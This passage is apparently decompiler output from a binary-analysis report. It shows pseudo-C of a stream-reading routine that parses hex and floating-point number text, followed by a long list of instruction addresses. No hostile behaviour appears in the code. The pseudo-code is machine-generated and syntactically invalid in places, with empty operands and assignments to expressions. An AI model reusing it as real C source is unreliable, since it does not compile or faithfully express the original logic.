									__eflags = _t552 - _t541;
									if(_t552 != _t541) {
										continue;
									} else {
										break;
									}
									L515:
									__eflags = r10b & 0x00000001;
									_t1072 =  ==  ? _t1092 : _t1071;
									__eflags = _a88;
									_t1073 =  !=  ? _t1092 :  ==  ? _t1092 : _t1071;
									 *((char*)( !=  ? _t1092 :  ==  ? _t1092 : _t1071)) = 0;
									 *_a232 = r9d;
									_t725 = _v56;
									__eflags = _t725 - 0x10;
									if(_t725 >= 0x10) {
										_t906 = _v80;
										__eflags = _t725 + 1 - 0x1000;
										if(_t725 + 1 >= 0x1000) {
											_t906 =  *((intOrPtr*)(_t906 - 8));
										}
										E00402090(_t424, _t906);
									}
									__eflags = 0;
									return 0;
									goto L530;
								}
								_t780 = _t778 -  &_v32 >> 1;
								__eflags = _t780 - 0x15;
								if(_t780 <= 0x15) {
									__eflags = r13d - 0x2f;
									if(r13d <= 0x2f) {
										_t932 = _a112;
										 *_t932 =  *((intOrPtr*)(_t780 + "0123456789ABCDEFabcdef-+XxPp"));
										_a112 = _t932 + 1;
										r13d = r13d + 1;
										__eflags = r13d;
									}
									_t929 =  *_t882;
									__eflags = _t929;
									if(_t929 == 0) {
										L330:
										 *_t882 = 0;
										_t461 = 1;
									} else {
										_t784 =  *((intOrPtr*)(_t929 + 0x38));
										_t1006 =  *_t784;
										__eflags = _t1006;
										if(_t1006 == 0) {
											L327:
											_t462 =  *((intOrPtr*)( *_t929 + 0x40))();
										} else {
											_t1048 =  *((intOrPtr*)(_t929 + 0x50));
											_t582 =  *_t1048;
											__eflags = _t582;
											if(_t582 <= 0) {
												goto L327;
											} else {
												 *_t1048 = _t582 - 1;
												 *_t784 =  &(_t1006[1]);
												_t462 =  *_t1006 & 0x0000ffff;
											}
										}
										__eflags = (_t462 & 0x0000ffff) - 0xffff;
										if((_t462 & 0x0000ffff) == 0xffff) {
											goto L330;
										} else {
											_t461 = 0;
										}
									}
									 *(_t882 + 8) = _t461;
									_t424 = 1;
									_a108 = 1;
									continue;
								}
							}
							r10d = _a108;
							__eflags = r10b & 0x00000001;
							if((r10b & 0x00000001) != 0) {
								_t904 =  *_t882;
								_t572 = 0;
								__eflags = _t904;
								_t563 = 0;
								_t1071 = _a112;
								r9d = r15d;
								if(_t904 != 0) {
									_t776 =  *((intOrPtr*)( *((intOrPtr*)(_t904 + 0x38))));
									__eflags = _t776;
									if(_t776 == 0) {
										L365:
										_t460 =  *((intOrPtr*)( *_t904 + 0x38))();
										_t1071 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t904 + 0x50));
										if( *( *(_t904 + 0x50)) <= 0) {
											goto L365;
										} else {
											_t460 =  *_t776 & 0x0000ffff;
										}
									}
									_t424 = _t460 & 0x0000ffff;
									_t563 = 0;
									__eflags = (_t460 & 0x0000ffff) - 0xffff;
									dil = (_t460 & 0x0000ffff) != 0xffff;
									__eflags = dil;
								}
								_t905 =  *_a96;
								__eflags = _t905;
								if(_t905 != 0) {
									_t773 =  *((intOrPtr*)( *((intOrPtr*)(_t905 + 0x38))));
									__eflags = _t773;
									if(_t773 == 0) {
										L371:
										_t459 =  *((intOrPtr*)( *_t905 + 0x38))();
										_t1071 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t905 + 0x50));
										if( *( *(_t905 + 0x50)) <= 0) {
											goto L371;
										} else {
											_t459 =  *_t773 & 0x0000ffff;
										}
									}
									_t424 = _t459 & 0x0000ffff;
									_t572 = 0;
									__eflags = (_t459 & 0x0000ffff) - 0xffff;
									sil = (_t459 & 0x0000ffff) != 0xffff;
									__eflags = sil;
								}
								__eflags = _t563 - _t572;
								if(_t563 != _t572) {
									__eflags =  *(_t882 + 8);
									if( *(_t882 + 8) == 0) {
										_t927 =  *_t882;
										__eflags = _t927;
										if(_t927 == 0) {
											L383:
											 *_t882 = 0;
										} else {
											_t770 =  *((intOrPtr*)( *((intOrPtr*)(_t927 + 0x38))));
											__eflags = _t770;
											if(_t770 == 0) {
												L380:
												_t458 =  *((intOrPtr*)( *_t927 + 0x38))();
												_t1071 = _a112;
												r9d = r15d;
												r10d = _a108;
											} else {
												__eflags =  *( *(_t927 + 0x50));
												if( *( *(_t927 + 0x50)) <= 0) {
													goto L380;
												} else {
													_t458 =  *_t770 & 0x0000ffff;
												}
											}
											__eflags = (_t458 & 0x0000ffff) - 0xffff;
											if((_t458 & 0x0000ffff) == 0xffff) {
												goto L383;
											} else {
												 *(_t882 + 0xa) = _t458;
											}
										}
										 *(_t882 + 8) = 1;
									}
									_t424 =  *(_t882 + 0xa) & 0x0000ffff;
									__eflags = _t424 - _a22;
									if(_t424 == _a22) {
										L387:
										 *_t1071 = 0x70;
										_t907 =  *_t882;
										__eflags = _t907;
										if(_t907 == 0) {
											L397:
											 *_t882 = 0;
											 *(_t882 + 8) = 1;
											goto L398;
										} else {
											_t764 =  *((intOrPtr*)(_t907 + 0x38));
											_t1001 =  *_t764;
											__eflags = _t1001;
											if(_t1001 == 0) {
												L391:
												_t454 =  *((intOrPtr*)( *_t907 + 0x40))();
												_t1071 = _a112;
											} else {
												_t1047 =  *((intOrPtr*)(_t907 + 0x50));
												_t580 =  *_t1047;
												__eflags = _t580;
												if(_t580 <= 0) {
													goto L391;
												} else {
													 *_t1047 = _t580 - 1;
													 *_t764 =  &(_t1001[1]);
													_t454 =  *_t1001 & 0x0000ffff;
												}
											}
											__eflags = (_t454 & 0x0000ffff) - 0xffff;
											if((_t454 & 0x0000ffff) == 0xffff) {
												goto L397;
											} else {
												_t925 =  *_t882;
												 *(_t882 + 8) = 0;
												__eflags = _t925;
												if(_t925 == 0) {
													L398:
													_t573 = 0;
												} else {
													_t767 =  *((intOrPtr*)( *((intOrPtr*)(_t925 + 0x38))));
													__eflags = _t767;
													if(_t767 == 0) {
														L399:
														_t456 =  *((intOrPtr*)( *_t925 + 0x38))();
														_t1071 = _a112;
													} else {
														__eflags =  *( *(_t925 + 0x50));
														if( *( *(_t925 + 0x50)) <= 0) {
															goto L399;
														} else {
															_t456 =  *_t767 & 0x0000ffff;
														}
													}
													_t573 = 0;
													__eflags = (_t456 & 0x0000ffff) - 0xffff;
													sil = (_t456 & 0x0000ffff) != 0xffff;
													__eflags = sil;
												}
											}
										}
										_t908 =  *_a96;
										__eflags = _t908;
										if(_t908 == 0) {
											_t427 = 0;
											__eflags = 0;
										} else {
											_t762 =  *((intOrPtr*)( *((intOrPtr*)(_t908 + 0x38))));
											__eflags = _t762;
											if(_t762 == 0) {
												L405:
												_t452 =  *((intOrPtr*)( *_t908 + 0x38))();
												_t1071 = _a112;
											} else {
												__eflags =  *( *(_t908 + 0x50));
												if( *( *(_t908 + 0x50)) <= 0) {
													goto L405;
												} else {
													_t452 =  *_t762 & 0x0000ffff;
												}
											}
											__eflags = (_t452 & 0x0000ffff) - 0xffff;
											_t427 = 0 | (_t452 & 0x0000ffff) != 0x0000ffff;
										}
										_t1083 = _t1071 + 1;
										__eflags = _t573 - _t427;
										if(_t573 != _t427) {
											__eflags =  *(_t882 + 8);
											if( *(_t882 + 8) == 0) {
												_t924 =  *_t882;
												__eflags = _t924;
												if(_t924 == 0) {
													L417:
													 *_t882 = 0;
												} else {
													_t759 =  *((intOrPtr*)( *((intOrPtr*)(_t924 + 0x38))));
													__eflags = _t759;
													if(_t759 == 0) {
														L414:
														_t451 =  *((intOrPtr*)( *_t924 + 0x38))();
														_t1071 = _a112;
													} else {
														__eflags =  *( *(_t924 + 0x50));
														if( *( *(_t924 + 0x50)) <= 0) {
															goto L414;
														} else {
															_t451 =  *_t759 & 0x0000ffff;
														}
													}
													__eflags = (_t451 & 0x0000ffff) - 0xffff;
													if((_t451 & 0x0000ffff) == 0xffff) {
														goto L417;
													} else {
														 *(_t882 + 0xa) = _t451;
													}
												}
												 *(_t882 + 8) = 1;
											}
											_t447 =  *(_t882 + 0xa) & 0x0000ffff;
											__eflags = _t447 - _a14;
											if(_t447 != _a14) {
												__eflags = _t447 - _a12;
												if(_t447 == _a12) {
													 *((char*)(_t1071 + 1)) = 0x2d;
													_t921 =  *_t882;
													__eflags = _t921;
													if(_t921 == 0) {
														goto L433;
													} else {
														_t755 =  *((intOrPtr*)(_t921 + 0x38));
														_t998 =  *_t755;
														__eflags = _t998;
														if(_t998 == 0) {
															L429:
															_t449 =  *((intOrPtr*)( *_t921 + 0x40))();
															goto L430;
														} else {
															_t1046 =  *((intOrPtr*)(_t921 + 0x50));
															_t578 =  *_t1046;
															__eflags = _t578;
															if(_t578 <= 0) {
																goto L429;
															} else {
																goto L428;
															}
														}
														goto L431;
													}
													goto L434;
												}
											} else {
												 *((char*)(_t1071 + 1)) = 0x2b;
												_t923 =  *_t882;
												__eflags = _t923;
												if(_t923 == 0) {
													L433:
													 *_t882 = 0;
													_t448 = 1;
												} else {
													_t755 =  *((intOrPtr*)(_t923 + 0x38));
													_t998 =  *_t755;
													__eflags = _t998;
													if(_t998 == 0) {
														L423:
														_t449 =  *((intOrPtr*)( *_t923 + 0x40))();
														L430:
														_t1071 = _a112;
													} else {
														_t1046 =  *((intOrPtr*)(_t923 + 0x50));
														_t578 =  *_t1046;
														__eflags = _t578;
														if(_t578 > 0) {
															L428:
															 *_t1046 = _t578 - 1;
															 *_t755 =  &(_t998[1]);
															_t449 =  *_t998 & 0x0000ffff;
														} else {
															goto L423;
														}
													}
													L431:
													__eflags = (_t449 & 0x0000ffff) - 0xffff;
													if((_t449 & 0x0000ffff) == 0xffff) {
														goto L433;
													} else {
														_t448 = 0;
													}
												}
												L434:
												_t1074 = _t1071 + 2;
												__eflags = _t1074;
												 *(_t882 + 8) = _t448;
												_t1083 = _t1074;
											}
										}
										while(1) {
											_t909 =  *_t882;
											__eflags = _t909;
											_t574 = 0;
											if(_t909 == 0) {
												goto L444;
											}
											_t745 =  *((intOrPtr*)( *((intOrPtr*)(_t909 + 0x38))));
											__eflags = _t745;
											if(_t745 == 0) {
												L442:
												_t443 =  *((intOrPtr*)( *_t909 + 0x38))();
											} else {
												__eflags =  *( *(_t909 + 0x50));
												if( *( *(_t909 + 0x50)) <= 0) {
													goto L442;
												} else {
													_t443 =  *_t745 & 0x0000ffff;
												}
											}
											_t574 = 0;
											__eflags = (_t443 & 0x0000ffff) - 0xffff;
											sil = (_t443 & 0x0000ffff) != 0xffff;
											__eflags = sil;
											L444:
											_t910 =  *_a96;
											__eflags = _t910;
											if(_t910 == 0) {
												__eflags = _t574;
												if(_t574 != 0) {
													goto L450;
												} else {
												}
											} else {
												_t753 =  *((intOrPtr*)( *((intOrPtr*)(_t910 + 0x38))));
												__eflags = _t753;
												if(_t753 == 0) {
													L448:
													_t439 =  *((intOrPtr*)( *_t910 + 0x38))();
												} else {
													__eflags =  *( *(_t910 + 0x50));
													if( *( *(_t910 + 0x50)) <= 0) {
														goto L448;
													} else {
														_t439 =  *_t753 & 0x0000ffff;
													}
												}
												(_t439 & 0x0000ffff) - 0xffff = _t574 - ((_t439 & 0x0000ffff) != 0xffff);
												if(_t574 != (_t439 & 0x0000ffff) != 0xffff) {
													L450:
													__eflags =  *(_t882 + 8);
													if( *(_t882 + 8) == 0) {
														_t920 =  *_t882;
														__eflags = _t920;
														if(_t920 == 0) {
															L460:
															 *_t882 = 0;
														} else {
															_t750 =  *((intOrPtr*)( *((intOrPtr*)(_t920 + 0x38))));
															__eflags = _t750;
															if(_t750 == 0) {
																L457:
																_t442 =  *((intOrPtr*)( *_t920 + 0x38))();
															} else {
																__eflags =  *( *(_t920 + 0x50));
																if( *( *(_t920 + 0x50)) <= 0) {
																	goto L457;
																} else {
																	_t442 =  *_t750 & 0x0000ffff;
																}
															}
															__eflags = (_t442 & 0x0000ffff) - 0xffff;
															if((_t442 & 0x0000ffff) == 0xffff) {
																goto L460;
															} else {
																 *(_t882 + 0xa) = _t442;
															}
														}
														 *(_t882 + 8) = 1;
													}
													__eflags = ( *(_t882 + 0xa) & 0x0000ffff) - _v32;
													if(( *(_t882 + 0xa) & 0x0000ffff) == _v32) {
														_t918 =  *_t882;
														__eflags = _t918;
														if(_t918 == 0) {
															L470:
															 *_t882 = 0;
															_t438 = 1;
															goto L436;
														} else {
															_t747 =  *((intOrPtr*)(_t918 + 0x38));
															_t994 =  *_t747;
															__eflags = _t994;
															if(_t994 == 0) {
																L467:
																_t445 =  *((intOrPtr*)( *_t918 + 0x40))();
															} else {
																_t1045 =  *((intOrPtr*)(_t918 + 0x50));
																_t576 =  *_t1045;
																__eflags = _t576;
																if(_t576 <= 0) {
																	goto L467;
																} else {
																	 *_t1045 = _t576 - 1;
																	 *_t747 =  &(_t994[1]);
																	_t445 =  *_t994 & 0x0000ffff;
																}
															}
															__eflags = (_t445 & 0x0000ffff) - 0xffff;
															if((_t445 & 0x0000ffff) == 0xffff) {
																goto L470;
															} else {
																_t438 = 0;
																L436:
																 *(_t882 + 8) = _t438;
																dil = 1;
																continue;
															}
															while(1) {
																L486:
																_t911 =  *_t882;
																__eflags = _t911;
																_t565 = 0;
																if(_t911 == 0) {
																	goto L492;
																}
																_t734 =  *((intOrPtr*)( *((intOrPtr*)(_t911 + 0x38))));
																__eflags = _t734;
																if(_t734 == 0) {
																	L490:
																	_t436 =  *((intOrPtr*)( *_t911 + 0x38))();
																} else {
																	__eflags =  *( *(_t911 + 0x50));
																	if( *( *(_t911 + 0x50)) <= 0) {
																		goto L490;
																	} else {
																		_t436 =  *_t734 & 0x0000ffff;
																	}
																}
																_t565 = 0;
																__eflags = (_t436 & 0x0000ffff) - 0xffff;
																dil = (_t436 & 0x0000ffff) != 0xffff;
																__eflags = dil;
																L492:
																_t912 =  *_a96;
																__eflags = _t912;
																if(_t912 == 0) {
																	_t424 = 0;
																	__eflags = _t565;
																	if(_t565 != 0) {
																		goto L498;
																	} else {
																	}
																} else {
																	_t742 =  *((intOrPtr*)( *((intOrPtr*)(_t912 + 0x38))));
																	__eflags = _t742;
																	if(_t742 == 0) {
																		L496:
																		_t431 =  *((intOrPtr*)( *_t912 + 0x38))();
																	} else {
																		__eflags =  *( *(_t912 + 0x50));
																		if( *( *(_t912 + 0x50)) <= 0) {
																			goto L496;
																		} else {
																			_t431 =  *_t742 & 0x0000ffff;
																		}
																	}
																	__eflags = (_t431 & 0x0000ffff) - 0xffff;
																	_t424 = 0 | __eflags != 0x00000000;
																	if(__eflags != 0) {
																		L498:
																		__eflags =  *(_t882 + 8);
																		if( *(_t882 + 8) == 0) {
																			_t917 =  *_t882;
																			__eflags = _t917;
																			if(_t917 == 0) {
																				L508:
																				 *_t882 = 0;
																			} else {
																				_t739 =  *((intOrPtr*)( *((intOrPtr*)(_t917 + 0x38))));
																				__eflags = _t739;
																				if(_t739 == 0) {
																					L505:
																					_t424 =  *((intOrPtr*)( *_t917 + 0x38))();
																				} else {
																					__eflags =  *( *(_t917 + 0x50));
																					if( *( *(_t917 + 0x50)) <= 0) {
																						goto L505;
																					} else {
																						_t424 =  *_t739 & 0x0000ffff;
																					}
																				}
																				__eflags = (_t424 & 0x0000ffff) - 0xffff;
																				if((_t424 & 0x0000ffff) == 0xffff) {
																					goto L508;
																				} else {
																					 *(_t882 + 0xa) = _t424;
																				}
																			}
																			 *(_t882 + 8) = 1;
																		}
																		_t533 =  *(_t882 + 0xa) & 0x0000ffff;
																		_t730 = _t1088;
																		asm("o16 nop [cs:eax+eax]");
																		while(1) {
																			_t551 =  *(_t730 + 2) & 0x0000ffff;
																			_t730 = _t730 + 2;
																			__eflags = _t551;
																			if(_t551 == 0) {
																				break;
																			}
																			__eflags = _t551 - _t533;
																			if(_t551 != _t533) {
																				continue;
																			} else {
																				break;
																			}
																			goto L515;
																		}
																		_t732 = _t730 -  &_v32 >> 1;
																		__eflags = _t732 - 0x15;
																		if(_t732 <= 0x15) {
																			__eflags = r14d - 7;
																			if(r14d <= 7) {
																				 *_t1083 =  *((intOrPtr*)(_t732 + "0123456789ABCDEFabcdef-+XxPp"));
																				_t1083 = _t1083 + 1;
																				r14d = r14d + 1;
																				__eflags = r14d;
																			}
																			_t914 =  *_t882;
																			__eflags = _t914;
																			if(_t914 == 0) {
																				L484:
																				 *_t882 = 0;
																				_t430 = 1;
																			} else {
																				_t736 =  *((intOrPtr*)(_t914 + 0x38));
																				_t990 =  *_t736;
																				__eflags = _t990;
																				if(_t990 == 0) {
																					L481:
																					_t433 =  *((intOrPtr*)( *_t914 + 0x40))();
																				} else {
																					_t1044 =  *((intOrPtr*)(_t914 + 0x50));
																					_t575 =  *_t1044;
																					__eflags = _t575;
																					if(_t575 <= 0) {
																						goto L481;
																					} else {
																						_t575 = _t575 - 1;
																						 *_t1044 = _t575;
																						 *_t736 =  &(_t990[1]);
																						_t433 =  *_t990 & 0x0000ffff;
																					}
																				}
																				__eflags = (_t433 & 0x0000ffff) - 0xffff;
																				if((_t433 & 0x0000ffff) == 0xffff) {
																					goto L484;
																				} else {
																					_t430 = 0;
																				}
																			}
																			 *(_t882 + 8) = _t430;
																			sil = 1;
																			continue;
																		}
																	}
																}
																_t1092 = _a32;
																_t1071 = _t1083;
																r9d = r15d;
																r10d = _t575;
																goto L515;
															}
														}
														goto L486;
													}
												}
											}
											__eflags = dil;
											_a32 = _t1092;
											_t575 = 0;
											if(dil != 0) {
												 *_t1083 = 0x30;
												_t1083 = _t1083 + 1;
												__eflags = _t1083;
											}
											r14d = 0;
											_t1088 =  &_v34;
											goto L486;
										}
									} else {
										__eflags = _t424 - _a20;
										if(_t424 == _a20) {
											goto L387;
										}
									}
								}
							} else {
								_t1071 = _a112;
								r9d = r15d;
							}
							goto L515;
						}
					}
					goto L332;
				}
				L530:
			}

0x004186ff
0x004186ff
0x004186ff
0x004186ff
0x004186ff
0x004186ff
0x004186ff
0x004186ff
0x004186ff
0x00418707
0x00418731
0x00418739
0x0041873b
0x00418748
0x0041874a
0x0041874a
0x0041874e
0x0041874e
0x00418756
0x0041875b
0x0041875e
0x00418761
0x00418763
0x0041876b
0x0041876f
0x00418783
0x0041878b
0x0041878f
0x00418792
0x00418795
0x004187a0
0x004187a3
0x004187a7
0x004187aa
0x004187b1
0x004187b6
0x004187b9
0x004187c0
0x004187c2
0x004187c5
0x004187cb
0x004187d3
0x004187d3
0x004187cb
0x004187e1
0x004187e8
0x004187eb
0x004187ef
0x004187f2
0x004187f9
0x004187fe
0x00418801
0x00418808
0x0041880a
0x0041880d
0x00418813
0x0041881b
0x0041881b
0x00418813
0x00418836
0x00418839
0x0041883c
0x00418841
0x00418846
0x0041884c
0x00418852
0x00418865
0x0041885d
0x0041885d
0x0041885d
0x0041886b
0x00418872
0x00418872
0x0041887a
0x00418880
0x00418886
0x0041888c
0x0041889f
0x00418897
0x00418897
0x00418897
0x004188a5
0x004188ac
0x004188ac
0x004188b2
0x004188b5
0x004188bf
0x004188c1
0x004188c7
0x004188fa
0x004188fa
0x004188c9
0x004188cd
0x004188d3
0x004188e6
0x004188de
0x004188de
0x004188de
0x004188e9
0x004188f2
0x00000000
0x004188f4
0x004188f4
0x004188f4
0x004188f2
0x00418901
0x00418901
0x00418905
0x0041890d
0x00418939
0x0041893d
0x00418940
0x00418942
0x00418946
0x00418949
0x0041894c
0x00000000
0x0041894e
0x0041894e
0x00418952
0x00418955
0x00418958
0x00418974
0x00418977
0x0041895a
0x0041895a
0x0041895e
0x00418960
0x00418962
0x00000000
0x00000000
0x00000000
0x00000000
0x00418962
0x00000000
0x00418958
0x00000000
0x0041894c
0x0041890f
0x0041890f
0x00418913
0x00418919
0x00418988
0x00418988
0x0041898f
0x0041891b
0x0041891b
0x0041891f
0x00418925
0x00418931
0x00418934
0x00418927
0x00418927
0x0041892b
0x0041892f
0x00418964
0x00418966
0x0041896c
0x0041896f
0x00000000
0x00000000
0x00000000
0x0041892f
0x0041897a
0x00418982
0x00000000
0x00418984
0x00418984
0x00418984
0x00418982
0x00418991
0x00418991
0x00418995
0x00418995
0x0041890d
0x00418998
0x0041899e
0x004189a1
0x004189a6
0x004189ab
0x004189b1
0x004189b7
0x004189ca
0x004189c2
0x004189c2
0x004189c2
0x004189d0
0x004189d7
0x004189d7
0x004189db
0x004189df
0x004189e5
0x004189eb
0x004189f1
0x00418a01
0x00418a04
0x004189fc
0x004189fc
0x004189fc
0x00418a0a
0x00418a11
0x00418a11
0x00418a17
0x00418bed
0x00418bed
0x00418a1d
0x00418a21
0x00418a23
0x00418a29
0x00418a5c
0x00418a5c
0x00418a2b
0x00418a2f
0x00418a35
0x00418a45
0x00418a48
0x00418a40
0x00418a40
0x00418a40
0x00418a4b
0x00418a54
0x00000000
0x00418a56
0x00418a56
0x00418a56
0x00418a54
0x00418a63
0x00418a63
0x00418a6f
0x00000000
0x00418a75
0x00418a75
0x00418a7b
0x00418ad9
0x00418ad9
0x00418ae0
0x00000000
0x00418a7d
0x00418a7d
0x00418a81
0x00418a87
0x00418aa3
0x00418aa6
0x00418a89
0x00418a89
0x00418a8d
0x00418a91
0x00000000
0x00418a93
0x00418a95
0x00418a9b
0x00418a9e
0x00418a9e
0x00418a91
0x00418ab1
0x00000000
0x00418ab3
0x00418ab3
0x00418ab6
0x00418abd
0x00418ae4
0x00418ae4
0x00418abf
0x00418ac3
0x00418ac9
0x00418aeb
0x00418ad4
0x00418ad4
0x00418ad4
0x00418af1
0x00418af8
0x00418af8
0x00418abd
0x00418ab1
0x00418afc
0x00418b00
0x00418b06
0x00418b38
0x00418b38
0x00418b08
0x00418b0c
0x00418b12
0x00418b22
0x00418b25
0x00418b1d
0x00418b1d
0x00418b1d
0x00418b28
0x00418b33
0x00418b33
0x00418b3a
0x00418b3f
0x00418b49
0x00418b4b
0x00418b51
0x00418b84
0x00418b84
0x00418b53
0x00418b57
0x00418b5d
0x00418b6d
0x00418b70
0x00418b68
0x00418b68
0x00418b68
0x00418b73
0x00418b7c
0x00000000
0x00418b7e
0x00418b7e
0x00418b7e
0x00418b7c
0x00418b8b
0x00418b8b
0x00418b8f
0x00418b97
0x00418b9f
0x00418ba5
0x00418be1
0x00418be1
0x00418be8
0x00418ba7
0x00418ba7
0x00418bab
0x00418bb1
0x00418bcd
0x00418bcd
0x00418bd0
0x00418bb3
0x00418bb3
0x00418bb7
0x00418bbb
0x00000000
0x00418bbd
0x00418bbf
0x00418bc5
0x00418bc8
0x00418bc8
0x00418bbb
0x00418bdb
0x00000000
0x00418bdd
0x00418bdd
0x00418bdd
0x00418bdb
0x00418bea
0x00000000
0x00418bea
0x00418b97
0x00418b3f
0x00418a6f
0x00418bef
0x00418bf6
0x00418c03
0x00418c08
0x00418c0c
0x00418c10
0x00418c3b
0x00418c3e
0x00418c41
0x00418c45
0x00418d01
0x00418d01
0x00418d04
0x00418d07
0x00418d0c
0x00000000
0x00000000
0x00418d12
0x00418d15
0x00418d18
0x00418d30
0x00418d33
0x00418d1a
0x00418d1e
0x00418d21
0x00000000
0x00418d23
0x00418d23
0x00418d23
0x00418d21
0x00418d39
0x00418d3b
0x00418d40
0x00418d40
0x00418d44
0x00418d48
0x00418d4b
0x00418d4e
0x00418dc0
0x00418dc2
0x00418dc4
0x00000000
0x00000000
0x00418dc6
0x00418d50
0x00418d54
0x00418d57
0x00418d5a
0x00418d70
0x00418d73
0x00418d5c
0x00418d60
0x00418d63
0x00000000
0x00418d65
0x00418d65
0x00418d65
0x00418d63
0x00418d7b
0x00418d81
0x00418d86
0x00418d8c
0x00418d8c
0x00418d90
0x00418d92
0x00418d95
0x00418d98
0x00418de0
0x00418de0
0x00418d9a
0x00418d9e
0x00418da1
0x00418da4
0x00418dc8
0x00418dcb
0x00418da6
0x00418daa
0x00418dad
0x00000000
0x00418daf
0x00418daf
0x00418daf
0x00418dad
0x00418dd1
0x00418dd7
0x00000000
0x00418dd9
0x00418dd9
0x00418dd9
0x00418dd7
0x00418de7
0x00418de7
0x00418deb
0x00418def
0x00418df2
0x00418e00
0x00418e00
0x00418e04
0x00418e08
0x00418e0b
0x00000000
0x00000000
0x00418e11
0x00418e14
0x00000000
0x00418e16
0x00000000
0x00418e16
0x00000000
0x00418e14
0x00418c57
0x00418c5a
0x00418c5e
0x00418c64
0x00418c68
0x00418c70
0x00418c73
0x00418c80
0x00418c8a
0x00418c8e
0x00418c93
0x00418c97
0x00418c97
0x00418c75
0x00418c75
0x00418c78
0x00000000
0x00418c7a
0x00418c7a
0x00418c7a
0x00418c78
0x00418c6a
0x00418c6a
0x00418c6a
0x00418c9a
0x00418c9d
0x00418ca0
0x00418cf0
0x00418cf0
0x00418cf7
0x00418ca2
0x00418ca2
0x00418ca6
0x00418ca9
0x00418cac
0x00418cd0
0x00418cd3
0x00418cae
0x00418cae
0x00418cb2
0x00418cb4
0x00418cb6
0x00000000
0x00418cb8
0x00418cba
0x00418cc0
0x00418cc3
0x00418cc3
0x00418cb6
0x00418cd9
0x00418cde
0x00000000
0x00418ce0
0x00418ce0
0x00418ce0
0x00418cde
0x00418cf9
0x00418cfe
0x00000000
0x00418cfe
0x00418c5e
0x00418d86
0x00418e1b
0x00418e22
0x00418e25
0x00418e28
0x00418e2c
0x00000000
0x00000000
0x00000000
0x00418e2c
0x00418c16
0x00418c16
0x00418c1e
0x00418c22
0x00418f08
0x00418f08
0x00418f0a
0x00418c28
0x00418c28
0x00418c2f
0x00418c32
0x00418c32
0x00418f0e
0x00418f12
0x00418f16
0x00418f1c
0x00418f23
0x00418f27
0x00418f2e
0x004190b9
0x004190b9
0x004190bc
0x004190c1
0x004190c6
0x004190cc
0x004190d2
0x004190f3
0x004190dd
0x004190dd
0x004190dd
0x004190f6
0x004190f9
0x00419100
0x00419100
0x00419104
0x00419108
0x0041910e
0x00419114
0x0041911a
0x00419130
0x00419133
0x00419125
0x00419125
0x00419125
0x00419136
0x00419139
0x00419140
0x00419140
0x00419146
0x00000000
0x00000000
0x00419150
0x00419152
0x00419158
0x00419190
0x00419190
0x0041915a
0x0041915e
0x00419164
0x00419174
0x00419177
0x0041916f
0x0041916f
0x0041916f
0x0041917a
0x00419183
0x00000000
0x00419185
0x00419185
0x00419185
0x00419183
0x00419197
0x00419197
0x0041919b
0x0041919f
0x004191a3
0x004191b0
0x004191b0
0x004191b4
0x004191bb
0x00000000
0x00000000
0x004191c4
0x00000000
0x00000000
0x004191c6
0x00000000
0x004191c4
0x00418f67
0x00418f6e
0x00418f90
0x00418f99
0x00418f9d
0x00418fa2
0x00000000
0x00418fa8
0x00418fa8
0x00418fad
0x00000000
0x00418fb3
0x00418fb3
0x00418fb7
0x00000000
0x00418fbd
0x00418fbd
0x00418fc1
0x00418fc5
0x00419ca5
0x00419caa
0x00419d1d
0x00419d20
0x00419d24
0x00419d28
0x00419d2a
0x00419d31
0x00419d37
0x00419d39
0x00419d39
0x00419d3d
0x00419d3d
0x00419d42
0x00419d46
0x00419d4a
0x00419d4c
0x00419d50
0x00419d53
0x00419d59
0x00419d5b
0x00419d5b
0x00419d5f
0x00419d5f
0x00419d67
0x00419d6c
0x00419d70
0x00419d73
0x00419d75
0x00419d75
0x00419d75
0x00419d80
0x00419d85
0x00418fcb
0x00418fcb
0x00418fce
0x00418fd8
0x00418fdd
0x00418fdf
0x00418fe5
0x00418fee
0x00418ff2
0x00418ff6
0x00418fff
0x00418fff
0x00419003
0x00419007
0x00419007
0x0041900c
0x00000000
0x0041900c
0x00418fc5
0x00418fb7
0x00418fad
0x00418f70
0x00418f74
0x00419020
0x00419023
0x0041902f
0x00419039
0x0041903d
0x00419042
0x00419046
0x00419046
0x00419025
0x00419025
0x00419028
0x00000000
0x0041902a
0x0041902a
0x0041902a
0x00419028
0x00418f7a
0x00418f7a
0x00418f7a
0x00419052
0x00419056
0x0041905c
0x00419062
0x00419064
0x00419066
0x00419066
0x0041906a
0x0041906a
0x00419070
0x00418f40
0x00418f40
0x00418f47
0x00418f49
0x00419076
0x00419076
0x0041907a
0x00419080
0x004190a0
0x004190a3
0x00419082
0x00419082
0x00419086
0x0041908a
0x00000000
0x0041908c
0x0041908e
0x00419090
0x00419094
0x00419097
0x00419097
0x0041908a
0x004190ae
0x00000000
0x004190b4
0x004190b4
0x004190b6
0x004190b6
0x004190ae
0x00000000
0x00419070
0x00000000
0x00418f6e
0x004191cb
0x004191ce
0x0041924d
0x0041924d
0x00000000
0x004191d4
0x004191d4
0x004191dd
0x004191e1
0x004191e5
0x004191e7
0x004191ea
0x004191ed
0x004191f0
0x004191f0
0x004191f4
0x0041924f
0x0041924f
0x004191f6
0x004191f6
0x004191f8
0x004191f8
0x004191fb
0x00000000
0x004191fd
0x004191fd
0x00419201
0x00419205
0x0041920a
0x00419210
0x00419210
0x00419213
0x00419216
0x00000000
0x00000000
0x00419218
0x0041921c
0x00419222
0x00419230
0x00419232
0x00000000
0x00000000
0x00000000
0x00000000
0x00419224
0x00419224
0x00419226
0x00419238
0x00419238
0x0041923b
0x0041923f
0x00419241
0x00419241
0x00419241
0x00419244
0x00419247
0x00000000
0x00000000
0x00000000
0x00000000
0x00419228
0x00419745
0x00419745
0x00419745
0x00419226
0x00000000
0x00419222
0x00419249
0x00419249
0x004191fb
0x004191f4
0x00419253
0x00419253
0x00419257
0x0041925b
0x0041925f
0x00419261
0x00419268
0x0041926e
0x00419270
0x00419270
0x00419274
0x00419274
0x00419279
0x0041927c
0x00419280
0x00418e2e
0x00418e2e
0x00418e31
0x00418e33
0x00418e37
0x00418e3a
0x00418e3a
0x00418e3d
0x00418e3d
0x00000000
0x00419286
0x00418e41
0x00418e41
0x00418e44
0x00418e46
0x00418e49
0x00418e4e
0x00418e51
0x00418e57
0x00418e5a
0x00418e5d
0x00418e6d
0x00418e70
0x00418e73
0x00418e5f
0x00418e63
0x00418e66
0x00000000
0x00418e68
0x00418e68
0x00418e68
0x00418e66
0x00418e76
0x00418e79
0x00418e7b
